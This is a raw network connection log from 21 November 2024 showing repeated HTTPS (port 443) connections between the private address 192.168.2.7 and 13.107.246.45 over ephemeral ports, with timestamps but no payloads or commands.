Nov 21, 2024 00:04:13.067665100 CET	443	49972	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.068078041 CET	49972	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.068093061 CET	443	49972	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.068520069 CET	49972	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.068526983 CET	443	49972	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.208276033 CET	443	49971	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.211352110 CET	443	49971	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.211474895 CET	49971	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.211492062 CET	443	49971	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.211519003 CET	443	49971	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.211590052 CET	49971	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.211627960 CET	49971	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.211646080 CET	443	49971	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.211658001 CET	49971	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.211664915 CET	443	49971	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.214451075 CET	49976	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.214509964 CET	443	49976	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.214585066 CET	49976	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.214723110 CET	49976	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.214732885 CET	443	49976	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.232213020 CET	443	49973	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.232747078 CET	49973	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.232758045 CET	443	49973	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.233210087 CET	49973	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.233215094 CET	443	49973	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.534871101 CET	443	49972	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.537942886 CET	443	49972	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.538029909 CET	49972	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.538059950 CET	49972	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.538080931 CET	443	49972	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.538093090 CET	49972	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.538099051 CET	443	49972	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.541012049 CET	49977	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.541049004 CET	443	49977	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.541126013 CET	49977	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.541263103 CET	49977	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.541273117 CET	443	49977	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.675164938 CET	443	49973	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.675182104 CET	443	49973	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.675247908 CET	49973	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.675265074 CET	443	49973	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.675384045 CET	443	49973	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.675453901 CET	49973	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.675501108 CET	49973	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.675513983 CET	443	49973	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.675524950 CET	49973	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.675532103 CET	443	49973	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.678282022 CET	49978	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.678337097 CET	443	49978	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.678391933 CET	49978	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.678554058 CET	49978	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.678571939 CET	443	49978	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.989034891 CET	443	49974	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.989603043 CET	49974	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.989617109 CET	443	49974	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.989949942 CET	49974	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.989953995 CET	443	49974	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.995528936 CET	443	49975	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.996037006 CET	49975	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.996048927 CET	443	49975	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:13.996404886 CET	49975	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:13.996408939 CET	443	49975	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.433080912 CET	443	49974	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.436307907 CET	443	49974	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.436357975 CET	443	49974	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.436378002 CET	49974	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.436408997 CET	49974	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.438165903 CET	443	49975	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.441286087 CET	443	49975	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.441335917 CET	443	49975	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.441468000 CET	49975	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.441468000 CET	49975	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.458121061 CET	49974	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.458138943 CET	443	49974	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.458174944 CET	49974	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.458180904 CET	443	49974	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.459249973 CET	49975	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.459249973 CET	49975	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.459268093 CET	443	49975	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.459278107 CET	443	49975	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.461627007 CET	49979	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.461652994 CET	443	49979	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.461716890 CET	49979	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.462126970 CET	49980	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.462152958 CET	443	49980	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.462202072 CET	49980	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.462258101 CET	49979	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.462270021 CET	443	49979	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:14.462341070 CET	49980	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:14.462352991 CET	443	49980	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.226490974 CET	443	49976	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.227019072 CET	49976	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.227057934 CET	443	49976	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.227534056 CET	49976	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.227540970 CET	443	49976	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.469557047 CET	443	49977	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.470019102 CET	49977	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.470037937 CET	443	49977	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.471021891 CET	49977	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.471028090 CET	443	49977	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.471239090 CET	443	49978	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.471642017 CET	49978	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.471668005 CET	443	49978	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.472157001 CET	49978	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.472162962 CET	443	49978	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.800734043 CET	443	49976	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.803781986 CET	443	49976	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.803848028 CET	49976	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.803878069 CET	49976	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.803895950 CET	443	49976	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.803910971 CET	49976	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.803917885 CET	443	49976	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.806971073 CET	49981	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.807014942 CET	443	49981	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.807080030 CET	49981	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.807260990 CET	49981	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.807275057 CET	443	49981	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.916739941 CET	443	49978	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.919934034 CET	443	49978	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.921335936 CET	49978	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.921390057 CET	49978	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.921411037 CET	443	49978	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.921426058 CET	49978	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.921433926 CET	443	49978	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.922595024 CET	443	49977	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.924284935 CET	49982	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.924328089 CET	443	49982	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.925533056 CET	49982	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.925570011 CET	443	49977	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.925635099 CET	49977	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.925724983 CET	49982	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.925740004 CET	443	49982	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.925777912 CET	49977	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.925796986 CET	443	49977	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.925812960 CET	49977	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.925818920 CET	443	49977	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.928709030 CET	49983	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.928739071 CET	443	49983	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:15.929826021 CET	49983	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.929968119 CET	49983	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:15.929982901 CET	443	49983	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.176038980 CET	443	49980	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.176553965 CET	49980	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.176572084 CET	443	49980	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.177151918 CET	49980	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.177155972 CET	443	49980	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.243185043 CET	443	49979	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.243868113 CET	49979	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.243880987 CET	443	49979	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.244653940 CET	49979	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.244661093 CET	443	49979	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.609982967 CET	443	49980	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.613107920 CET	443	49980	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.613166094 CET	443	49980	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.613204002 CET	49980	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.613238096 CET	49980	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.613303900 CET	49980	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.613326073 CET	443	49980	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.613341093 CET	49980	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.613348007 CET	443	49980	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.616416931 CET	49984	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.616472006 CET	443	49984	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.616563082 CET	49984	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.616717100 CET	49984	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.616729021 CET	443	49984	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.687536955 CET	443	49979	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.690558910 CET	443	49979	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.690622091 CET	49979	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.690679073 CET	49979	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.690679073 CET	49979	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.690689087 CET	443	49979	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.690697908 CET	443	49979	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.693878889 CET	49985	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.693907022 CET	443	49985	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:16.693988085 CET	49985	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.694142103 CET	49985	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:16.694159031 CET	443	49985	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:17.646320105 CET	443	49982	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:17.647886038 CET	49982	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:17.647912979 CET	443	49982	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:17.648976088 CET	49982	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:17.648984909 CET	443	49982	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:17.654148102 CET	443	49983	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:17.654552937 CET	49983	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:17.654580116 CET	443	49983	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:17.654946089 CET	49983	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:17.654953957 CET	443	49983	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:17.658734083 CET	443	49981	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:17.659148932 CET	49981	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:17.659184933 CET	443	49981	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:17.659511089 CET	49981	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:17.659519911 CET	443	49981	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.103537083 CET	443	49983	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.103573084 CET	443	49983	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.103637934 CET	443	49983	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.103642941 CET	49983	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.103691101 CET	49983	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.104242086 CET	49983	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.104254961 CET	443	49983	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.104264975 CET	49983	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.104269981 CET	443	49983	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.108171940 CET	49986	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.108191967 CET	443	49986	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.108268976 CET	49986	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.108455896 CET	49986	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.108469963 CET	443	49986	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.115482092 CET	443	49981	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.119323969 CET	443	49981	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.119386911 CET	49981	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.119396925 CET	443	49981	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.119420052 CET	443	49981	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.119493961 CET	49981	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.119556904 CET	49981	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.119561911 CET	443	49981	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.119587898 CET	49981	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.119591951 CET	443	49981	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.121074915 CET	443	49982	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.122522116 CET	49987	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.122565985 CET	443	49987	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.122637987 CET	49987	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.122797966 CET	49987	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.122814894 CET	443	49987	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.124211073 CET	443	49982	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.124283075 CET	49982	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.124339104 CET	49982	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.124350071 CET	443	49982	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.124368906 CET	49982	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.124375105 CET	443	49982	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.126846075 CET	49988	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.126914024 CET	443	49988	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.127007008 CET	49988	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.127175093 CET	49988	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.127207041 CET	443	49988	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.360810995 CET	443	49984	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.361445904 CET	49984	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.361464024 CET	443	49984	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.362098932 CET	49984	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.362104893 CET	443	49984	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.554879904 CET	443	49985	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.555671930 CET	49985	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.555702925 CET	443	49985	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.556279898 CET	49985	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.556286097 CET	443	49985	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.794964075 CET	443	49984	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.798073053 CET	443	49984	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.799268961 CET	49984	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.799300909 CET	49984	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.799320936 CET	443	49984	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.799334049 CET	49984	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.799340010 CET	443	49984	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.802172899 CET	49989	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.802218914 CET	443	49989	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:18.802310944 CET	49989	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.802570105 CET	49989	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:18.802582026 CET	443	49989	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.048362970 CET	443	49985	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.051512003 CET	443	49985	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.051578999 CET	49985	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.051637888 CET	49985	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.051666975 CET	443	49985	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.051681995 CET	49985	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.051690102 CET	443	49985	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.054605007 CET	49990	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.054676056 CET	443	49990	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.054771900 CET	49990	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.054934025 CET	49990	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.054954052 CET	443	49990	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.845432997 CET	443	49986	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.879389048 CET	49986	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.879421949 CET	443	49986	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.879853010 CET	49986	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.879861116 CET	443	49986	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.932084084 CET	443	49987	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.934531927 CET	443	49988	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.943380117 CET	49987	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.943408012 CET	443	49987	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.943861961 CET	49987	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.943869114 CET	443	49987	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.950762033 CET	49988	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.950825930 CET	443	49988	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:19.954375982 CET	49988	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:19.954395056 CET	443	49988	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.279759884 CET	443	49986	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.282800913 CET	443	49986	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.282855034 CET	49986	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.282908916 CET	49986	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.282929897 CET	443	49986	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.282943964 CET	49986	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.282951117 CET	443	49986	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.285547018 CET	49991	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.285603046 CET	443	49991	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.285669088 CET	49991	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.286137104 CET	49991	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.286153078 CET	443	49991	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.382347107 CET	443	49987	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.385518074 CET	443	49987	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.385592937 CET	49987	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.385699034 CET	49987	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.385720968 CET	443	49987	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.385746002 CET	49987	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.385751963 CET	443	49987	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.388582945 CET	49992	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.388622999 CET	443	49992	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.388684034 CET	49992	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.388820887 CET	49992	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.388845921 CET	443	49992	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.411429882 CET	443	49988	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.414361954 CET	443	49988	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.414423943 CET	49988	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.414490938 CET	49988	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.414490938 CET	49988	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.414520025 CET	443	49988	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.414535999 CET	443	49988	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.417346001 CET	49993	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.417380095 CET	443	49993	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.417444944 CET	49993	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.417546988 CET	49993	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.417555094 CET	443	49993	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.658807039 CET	443	49989	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.659300089 CET	49989	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.659332991 CET	443	49989	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.659729004 CET	49989	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.659734964 CET	443	49989	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.839272022 CET	443	49990	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.839822054 CET	49990	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.839854002 CET	443	49990	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:20.840290070 CET	49990	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:20.840296030 CET	443	49990	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.113264084 CET	443	49989	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.113532066 CET	443	49989	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.113584042 CET	443	49989	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.113599062 CET	49989	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.113642931 CET	49989	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.113703012 CET	49989	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.113720894 CET	443	49989	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.113729954 CET	49989	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.113735914 CET	443	49989	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.116419077 CET	49994	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.116449118 CET	443	49994	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.116514921 CET	49994	443	192.168.2.7	13.107.246.45
